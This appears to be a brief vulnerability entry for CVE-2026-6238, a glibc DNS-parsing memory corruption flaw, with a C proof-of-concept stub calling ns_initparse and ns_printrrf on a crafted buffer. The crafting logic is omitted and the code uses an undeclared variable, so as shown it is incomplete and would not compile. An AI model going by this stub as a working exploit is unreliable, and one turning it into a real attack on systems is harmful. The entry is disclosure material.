CVE-2026-6238 GNU C Library DNS处理内存破坏漏洞

/* * PoC for CVE-2026-6238 * Demonstrates triggering the vulnerability by passing a crafted buffer * to the deprecated ns_printrrf function. */ #include <resolv.h> #include <stdio.h> #include <string.h> int main() { // Craft a malicious DNS response packet unsigned char malicious_packet[256]; memset(malicious_packet, 0, sizeof(malicious_packet)); // Set a specific record type (e.g., LOC) and manipulate RDATA length // to exceed the actual buffer size provided to the parser. // ... (Packet crafting logic omitted for brevity) // Call the vulnerable deprecated function // If the library is vulnerable, this may cause a crash or leak memory ns_initparse(malicious_packet, sizeof(malicious_packet), &msg); ns_printrrf(stdout, malicious_packet, sizeof(malicious_packet), &msg); return 0; }